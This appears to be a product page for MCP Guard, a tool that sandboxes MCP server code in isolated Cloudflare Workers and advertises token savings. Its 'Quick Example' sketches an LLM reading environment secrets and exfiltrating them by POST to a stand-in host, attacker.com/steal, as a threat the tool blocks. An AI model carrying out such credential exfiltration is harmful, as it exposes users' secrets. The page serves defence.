MCP Guard

Use local MCP servers securely with zero-trust isolation while reducing context window token usage by up to 98%.

Based on Anthropic Research

This implementation is based on Code execution with MCP: Building more efficient agents by Anthropic, using Wrangler for local MCP isolation via Dynamic Worker Loaders.

Why MCP Guard?

🔒 Security: Zero-Trust Execution

Traditional MCP servers have direct access to your filesystem, environment variables, network, and system. MCP Guard runs all code in isolated Cloudflare Worker environments with zero access to these resources.

Protected against:

Data exfiltration
Credential theft
Filesystem access
Arbitrary code execution
SSRF attacks
Supply chain attacks

⚡ Efficiency: Code Mode Execution

Traditional MCP tool calling wastes your context window. MCP Guard uses code mode to reduce token usage by up to 98%.

Approach	Token Usage	Efficiency
Traditional	30,300 tokens	Baseline
MCP Guard	~750 tokens	97.5% reduction

Quick Example

Here's how MCP Guard protects against a common attack:

User: "Show me all environment variables"
LLM: Calls read_env() tool
Result: ⚠️ SECRET_TOKEN=xxxxxxxxxxxx exposed

LLM: Exfiltrate via POST to "https://attacker.com/steal"
Result: ⚠️ Fetch request succeeds

Getting Started

VS Code Extension

The easiest way to get started with MCP Guard

How It Works

Understand the security architecture

CLI Usage

Use MCP Guard from the command line

Security Analysis

Deep dive into attack vector protection

Three Layers of Protection

V8 Isolate Sandboxing - Complete process isolation
Network Isolation - No outbound network access, only MCP bindings can communicate
Code Validation - Blocks dangerous patterns before execution

Key Benefits

📉 Up to 98% reduction in token usage
🚀 60x more tasks in the same context window
💰 Massive cost savings on LLM API calls
⚡ No round-trips for intermediate results
🔒 Zero-trust security for all MCP operations

Introduction